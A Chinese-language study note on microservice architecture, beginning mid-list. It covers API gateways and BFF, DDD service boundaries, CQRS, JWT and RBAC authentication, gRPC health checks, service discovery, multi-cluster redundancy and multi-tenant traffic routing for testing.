  • 复杂度增加,一个请求往往要经过多个服务,请求链路比较长
  • 监控和定位问题困难
  • 服务管理比较复杂

组件化服务

微服务的核心是组件化服务,通过将之前复杂的巨石机构,拆分成不同的服务,来实现组件化。即将应用拆散为一系列的服务运行在不同的进程中。单一的服务变化只需要重新部署对应的服务进程。


区中心化

  • 数据去中心化
  • 治理去中心化
  • 技术去中心化

注:治理区中心化,可以理解为消除架构中的热点,例如,我们通常在架构中使用的Nginx,所有的流量都会先经过Nginx,虽然也可以扩容,但是相对来说收益就比较低。


每个服务独享自身的数据存储设施(缓存,数据库等),而不是像传统应用共享一个缓存和数据库,这样有利于服务的独立性,隔离相关干扰。


基础设施自动化

无自动化不微服务。自动化包括测试和部署。
单一进程的传统应用被拆分为一系列的多进程服务后,意味着开发,调试,测试,监控和部署的复杂度会增加,必须要有合适的自动化基础设施来支持微服务架构,否则开发和运维的成本会大大增加。

  • CICD
  • Testing
  • K8s

落地微服务的关键因素


配套设施:


  • 微服务框架研发和维护
  • 打包,版本管理,上线平台支持
  • 硬件层支持,比如容易和容器调度
  • 服务治理平台支持,比如分布式链路追踪和监控
  • 测试自动化支持,比如上线前自动化case

组织架构


  • 微服务框架开发团队
  • 私有云研发团队
  • 测试平台研发团队

硬件层架构

JHhJAI.png

可用性 & 兼容性设计

微服务架构采用粗力度的进程间通信。关于可用性和兼容性主要包含以下方面:


  • 隔离
  • 超时控制
  • 负载保护
  • 限流
  • 降级
  • 重试
  • 负载均衡

注意:服务的提供者的变更可能引发服务消费者的兼容性破坏,时刻谨记服务契约的兼容性。
总结一句话:发送时要保守,接收时要开放。

微服务设计

API Gateway

常见的开源网关:Kong, APSix,


面向用户场景的API,而不是面向资源的API


BFF(Backend for Frontend) 可以认为是一种适配服务,将后端的微服务进行适配(主要包括聚合裁剪和适配逻辑),向无线端设备暴露友好和统一的API,方便无线设备介入访问后端服务。


BFF 可以理解为主要进行数据的组装,业务场景的聚合API


网关在微服务架构中承担着非常重要的角色,它是解偶拆分和后续升级的利器。在网关的配合下,单块BFF 实现解偶拆分,各业务团队可以独立开发和交付各自的微服务。
把跨横切面逻辑从BFF 剥离到网关上,BFF的开发可以更加专注于业务逻辑交付。实现架构上的关注分离。

Mircoservice划分

相对来说有两种不同不同的划分服务边界:通过业务职能(Business Capability)划分和DDD的限界上下文(Bounded Context)


Business Capability: 由公司内部不同部门提供的只能
Bounded Context:这里的业务边界的含义是“解决不同业务问题”的问题域和对应的解决方案域,为了解决某种类型的业务问题,贴近领域知识,也就是业务。

DDD 通过领域对象之间的交互实现业务逻辑与流程,并通过分层的方式将业务逻辑剥离出来,单独进行维护,从而控制业务本身的复杂度。


注意:微服务与微服务之间不是通过数据耦合的,所以微服与微服务之间都是通过接口调用,一定不是通过数据,服务与服务之间数据是隔离的。


什么是CQRS

CQRS — Command Query Responsibility Segregation,故名思义是将 command 与 query 分离的一种模式。


CQRS 将系统中的操作分为两类,即「命令」(Command) 与「查询」(Query)。命令则是对会引起数据发生变化操作的总称,即我们常说的新增,更新,删除这些操作,都是命令。而查询则和字面意思一样,即不会对数据产生变化的操作,只是按照某些条件查找数据。


CQRS 的核心思想是将这两类不同的操作进行分离,然后在两个独立的「服务」中实现。这里的「服务」一般是指两个独立部署的应用。在某些特殊情况下,也可以部署在同一个应用内的不同接口上。


Command 与 Query 对应的数据源也应该是互相独立的,即更新操作在一个数据源,而查询操作在另一个数据源上。


Mircoservice安全

关于外网的请求,通常在API Gateway进行统一的认证拦截,认证成功后,使用JWT方式通过RPC元数据传递的方式带到BFF层,BFF校验Token完整性后把身份信息注入到应用的Context中,BFF到其他下层的微服务,建议是直接在RPC Request中带入用户身份信息(UserID)请求服务


对于服务内部,一般要区分身份认证和授权


对于身份认证:如果是gRPC,可以很容易进行身份认证,如:证书…
对于授权:通过配置中心做一个RBAC的服务,下发到服务,服务加载的时候就可以很容易构建一个RBAC的认证,从而判断这个请求是否有权限。

gRPC && 服务发现

  • 多语言:语言中立,支持多种语言
  • 轻量级,高性能:序列化支持PB(Protocol Buffer) 和JSON, PB是一种语言无关的高性能序列化框架
  • 可插拔
  • IDL:基于文件定义服务,通过proto3工具生成指定语言的数据结构/服务端接口以及客户端Stub
  • 设计理念:如元数据的传递
  • 移动端:基于标准的HTTP2设计,支持双向流,消息头压缩,单TCP的多路复用/服务端推送等特性。
  • 服务而非对象,消息而非引用:促进微服务的系统间粗粒度消息交互设计理念
  • 负载无关的:不同的服务需要使用不同的消息类型和编码
  • 流:streaming API
  • 阻塞式和非阻塞式:支持异步和同步处理在客户端和服务端交互的消息序列
  • 元数据交换:常见的横切关注点,如认证或追踪,依赖数据交换。
  • 标准化状态码:客户端通常以有限的方式响应API调用返回的错误

Health Check

gRPC 有一个标准的健康监测协议,在gRPC的所有语言实现中基本都提供了生成代码合用于设置运行状态的功能。


主动健康检查可以在服务提供者服务不稳定时,被消费者所感知,临时从负载均衡中摘除,减少错误请求。当服务提供这重新稳定后,health check 成功,重新假如到消费者的负载均衡中,回复请求,health check 同样也被用于外挂方式的容器健康检测,或者流量检测


healthCheck 可以做什么 ?


  • 在我们的服务注册与发现中,假如服务的提供者Provider到Discoery 之间通信时正常的,但是我们的服务调用者Consumer到服务提供者Provider之间出现网络问题,这个时候如果没有健康检查,我们的服务调用这就会继续调用,但是这个时候其实是会调用失败的,而healthCheck 就可以避免这种情况的发生。它会对从Discoery中获取到的Provider进行健康检查,虽然Discoery中有这个Provider,但是如果健康检查有问题,那么就会把这个provider进行剔除。避免调用失败的问题。


  • 平滑发布


服务发现

CAP原理


  • C: consistency, 一致性,每次总是能够读到最近写入的数据或者失败
  • A: available, 每次请求都能读到数据
  • P: partition tolerance 分区容忍,不管任意个消息由于网络原因失败,系统都能能够继续工作

CAP原理中,P是必须满足的,C 和A 可以根据业务需要选择,要么是CP系统,要么是AP系统


客户端发现


一个服务实例启动时,它的网络地址会被注册到注册中心,当服务实例终止时,再从注册中心删除。这个服务实例的注册表通过心跳机制动态刷新;客户端使用一个负载均衡算法,去选择一个可用的服务实例,来响应这个请求。


服务端发现


客户端通过负载均衡器向一个服务发送请求,这个负载均衡器会查询服务注册表,并将请求路由到可用的服务实例上。服务实例在服务注册表上被注册和注销


DNhMgH.jpg


对比两种服务发现:


  • 客户端发现:直连,比服务端服务发现少一次网络跳转,Consumer需要内置特定的服务发现客户端和发现逻辑。
  • 服务端发现:Consumer无需关注服务发现具体细节,只需要知道服务的DNS域名即可,支持异构语言开发,需要基础设施支撑,多了一次网络跳转,可能有性能损失。

注意:微服务的和兴是去中心化,所以相对来说使用客户端服务发现模式比较好


推荐的服务发现:
https://nacos.io/zh-cn/docs/what-is-nacos.html
https://github.com/bilibili/discovery 学习一下代码


服务发现中的保护机制:


  • 如果发现短时间内大量服务提供这下线,会开启自我保护模式。这个时候不会剔除服务。
  • 如果服务消费者和服务注册中心通信故障,这个时候本身服务消费者会缓存配置,即使短时间内通信故障也不会有太大影响。

多集群 & 多租户

对于特别重要的服务通常是要考虑多级群。


  • 从单一集群考虑,多个节点保证可用性,我们通常使用N+2的方式来冗余节点。
  • 从单一集群故障带来的影响面角度考虑冗余多套集群。
  • 单个机房内的机房故障导致的问题。

多套冗余的集群对应多套独占的缓存,带来更好的性能和冗余能力
尽量避免业务隔离使用或者sharding带来的cache hit影响(按照业务划分集群资源)

但是这里会有一个问题需要考虑:
根据不同的业务划分集群后,如果其中一个业务的进群挂了之后,将流量切到正常集群的时候,这个时候因为独占缓存,所以就会导致产生到两的cache miss 透传到DB,这个时候DB的压力会瞬间变大。

解决办法:可以和所有集群建立连接,通过负载均衡的方式,这样请求就会均摊的打到不同的集群中
上,从而防止缓存击穿的情况。

注意这里还有一个问题:
对于服务中的个别服务可能会存在有大量的其他服务都会依赖这个服务的情况,如帐号服务,那么这个时候health check 的检查可能会占用一定的资源,并且随着规模的增加,光health check 就会占用非常高的资源,如何解决这个问题呢?

是否可以从全集群中选取一批节点(子集),利于划分子集限制连接池大小?


通常20-100个后端,部分场景需要大子集,比如批量读写操作。
后端平均分给客户端。
客户端重启,保持重新均衡,同时对后端重启保持透明,同时连接的变动最小。

需要思考这个算法的实现。


多租户


在一个微服务架构中允许系统共存是利用微服务稳定性及模块化最有效的方式之一。这种方式一般被称为多租户。租户卡一是测试,金丝雀发布,影子系统,甚至服务层或产品线,使用租户能够保证代码的隔离性并且能够基于流量租户做路由决策。



多租户就是解决RPC的路由或者叫做RPC染色


并行测试需要一个和生产环境一样的过渡(staging)环境,并且知识用来处理测试流量。在并行测试中,工程师团队首先完成生产服务的一次变动,然后将变动的代码部署到测试栈,这种方法可以在不影响生产环境的情况下让开发者稳定的测试服务,同时能够在发布前更容易的识别和控制bug,尽管并行测试是一种非常有效的集成测试方法,但是它也带来了一些可能影响服务架构成功的挑战:


  • 混用环境导致的不可靠测试
  • 多套环境带来的硬件成本
  • 难以做负载测试,仿真线上真实流量情况

使用这种方法(内部叫染色发布),我们可以把待测试的服务 B 在一个隔离的沙盒环境中启动,并且在沙盒环境下可以访问集成环境(UAT) C 和D。我们把测试流量路由到服务 B,同时保持生产流量正常流入到集成服务。服务 B 仅仅处理测试流量而不处理生产流量。另外要确保集成流量不要被测试流量影响。生产中的测试提出了两个基本要求,它们也构成了多租户体系结构的基础:


  • 流量路由:能够基于流入栈中的流量类型做路由。
  • 隔离性:能够可靠的隔离测试和生产中的资源,这样可以保证对于关键业务微服务没有副作用。

DUeeCq.png


这里可以理解为,对于不同的流量区别对待,对于测试的流量,也会在请求的时候带上对应的染色标记,这样到达系统的时候就会根据不同的染色标记走不同的路由,路由到具有相同染色的服务上。


小结

  • 对于微服整体有一认识
  • 对于公司现有系统架构的一些思考,可以跟着课程的深入学习,慢慢对公司现有架构整理出自己的意见和一些可行性的方案

需要关注的书籍与链接:


收起阅读 »